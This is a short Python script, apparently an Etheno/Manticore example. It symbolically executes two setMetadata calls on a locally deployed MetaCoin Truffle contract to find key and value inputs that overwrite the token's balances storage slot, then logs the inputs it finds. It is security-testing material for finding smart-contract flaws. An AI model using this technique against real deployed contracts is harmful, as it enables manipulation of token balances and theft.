ExploitMetaCoinManticoreScript.py

# global variables `logger`, `manticore`, and `manticoreutils` are provided by Etheno

# No need to set up accounts or contracts the way we usually do with Manticore alone!
# They are already pre-provisioned in the `manticore` object
# and we can simply access them from there:

# The Truffle migrations deploy three contracts: [Migrations contract, ConvertLib, MetaCoin]
contract_account = list(manticore.contract_accounts.values())[2]

# The contract was loaded from bytecode, so we need to manually set the ABI:
contract_account.add_function('setMetadata(uint256,uint256)')

# Create symbolic variables for which Manticore will discover values:
key1 = manticore.make_symbolic_value(name='key1')
value1 = manticore.make_symbolic_value(name='val1')
key2 = manticore.make_symbolic_value(name='key2')

# Make two calls to the `setMetadata` function of the `MetaCoin` contract
# using the symbolic variables:
contract_account.setMetadata(key1, value1)
contract_account.setMetadata(key2, 1)

for st in manticore.all_states:
    # The value we want to overwrite is the `balances` mapping in storage slot 0
    balances_value = st.platform.get_storage_data(contract_account.address, 0)
    with manticoreutils.ManticoreTest(st, balances_value == 1) as test:
        for k1, v1, k2 in test.solve_all(key1, value1, key2):
            result = f"\nFound a way to overwrite balances! Check {manticore.workspace}\n"
            result += f"    setMetadata({hex(k1)}, {hex(v1)})\n"
            result += f"    setMetadata({hex(k2)}, 0x1)\n"
            logger.info(result)